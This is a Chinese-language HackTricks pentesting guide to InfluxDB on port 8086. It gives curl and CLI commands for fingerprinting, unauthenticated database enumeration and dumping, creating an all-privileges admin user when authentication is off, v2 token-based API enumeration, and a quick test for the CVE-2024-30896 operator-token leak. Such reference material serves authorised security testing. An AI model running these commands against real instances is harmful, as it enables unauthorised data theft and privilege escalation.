8086 - Pentesting InfluxDB
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
InfluxDB 是一个开源的 时序数据库 (TSDB),由 InfluxData 开发。TSDB 针对存储和服务时序数据进行了优化,时序数据由时间戳-数值对组成。与通用数据库相比,TSDB 在时序数据集的 存储空间 和 性能 方面提供显著提升。它们使用专门的压缩算法,并可以配置为自动删除旧数据。专门的数据库索引也能提升查询性能。
默认端口: 8086
PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5
识别与版本 (HTTP)
- v1.x:
GET /ping返回状态 204 并包含类似X-Influxdb-Version和X-Influxdb-Build的头部。 - v2.x+:
GET /health返回包含服务器版本和状态的 JSON。可在无 auth 的情况下使用。
# v1 banner grab
curl -i http://<host>:8086/ping
# v2/compat health
curl -s http://<host>:8086/health | jq .
Tip:暴露的实例通常也会在 /metrics 提供 Prometheus-style metrics。
枚举
从 pentester 的角度来看,这是另一个可能存储敏感信息的数据库,因此了解如何导出全部信息很有价值。
认证
InfluxDB 可能需要认证,也可能不需要。
# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal
如果你遇到类似这样的错误:ERR: unable to parse authentication credentials,这意味着它需要一些凭证。
influx –username influx –password influx_pass
influxdb 存在一个允许绕过身份验证的漏洞: CVE-2019-20933
手动枚举 (v1 HTTP API / InfluxQL)
即使没有可用的 CLI,HTTP API 通常在端口 8086 上暴露。
# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"
# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"
# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"
# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"
# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"
# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .
# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'
Warning
在对 authentication bypass 的一些测试中,注意到表名需要放在双引号内,例如:
select * from "cpu"
如果 authentication 被禁用,你甚至可以创建用户并提升权限:
# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"
以下 CLI 示例的信息摘自 here.
显示数据库
找到的数据库有 telegraf 和 internal(你到处都会发现这个)
> show databases
name: databases
name
----
telegraf
_internal
显示 tables/measurements
The InfluxDB documentation 解释说 InfluxDB 中的 measurements 可以与 SQL tables 对应。 这些 measurements 的命名反映了它们各自的内容,每个存放与特定实体相关的数据。
> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system
显示列/字段键
字段键就像数据库的列
> show field keys
name: cpu
fieldKey fieldType
-------- ---------
usage_guest float
usage_guest_nice float
usage_idle float
usage_iowait float
name: disk
fieldKey fieldType
-------- ---------
free integer
inodes_free integer
inodes_total integer
inodes_used integer
[ ... more keys ...]
转储表
最后,你可以像下面这样转储表:
select * from cpu
name: cpu
time cpu host usage_guest usage_guest_nice usage_idle usage_iowait usage_irq usage_nice usage_softirq usage_steal usage_system usage_user
---- --- ---- ----------- ---------------- ---------- ------------ --------- ---------- ------------- ----------- ------------ ----------
1497018760000000000 cpu-total ubuntu 0 0 99.297893681046 0 0 0 0 0 0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
InfluxDB v2.x API (Token-based)
InfluxDB 2.x 引入了基于 token 的 auth 和新的 API(默认仍在 8086)。如果你获得了一个 token(leaked logs, default deployments, backups),你可以枚举:
# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"
# Health & version
curl -s http://<host>:8086/health | jq .
# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .
# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .
# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .
# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'
注意事项
- 对于 v1.8+,存在一些与 v2 兼容的端点 (
/api/v2/query,/api/v2/write,/health)。如果服务器是 v1 但接受 v2 风格的请求,这很有用。 - 在 v2 中,HTTP
Authorization头必须采用Token <value>的形式。
自动化枚举
msf6 > use auxiliary/scanner/http/influxdb_enum
最近值得关注的 vulns 与 privesc(近几年)
- InfluxDB OSS 2.x 到 2.7.11 的 operator token 泄露(CVE-2024-30896)。在特定条件下,具有对默认组织中 authorization 资源只读访问权限的已认证用户可以列出并检索实例范围的 operator token(例如,通过
influx auth ls或GET /api/v2/authorizations)。利用该 token,攻击者可以管理实例(buckets、tokens、users)并访问跨组织的所有数据。可用时请升级到修复版本,并避免将普通用户放在默认 org 中。快速测试:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
许多旧的 1.x 部署仍在互联网上以未认证的方式暴露 /query 和 /write。如果禁用了 auth,你可以随意导出或甚至修改时序数据;你也可以如上所示创建 admin users。即使 CLI 阻止你,也要通过 HTTP API 进行验证。
参考资料
- InfluxData 文档:InfluxDB v1/v2 HTTP API 参考(端点如
/ping、/health、/query、/api/v2/authorizations)。 https://docs.influxdata.com/influxdb/v1/tools/api/ - CVE-2024-30896:InfluxDB OSS 2.x 中 operator token 的暴露。 https://www.wiz.io/vulnerability-database/cve/cve-2024-30896
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

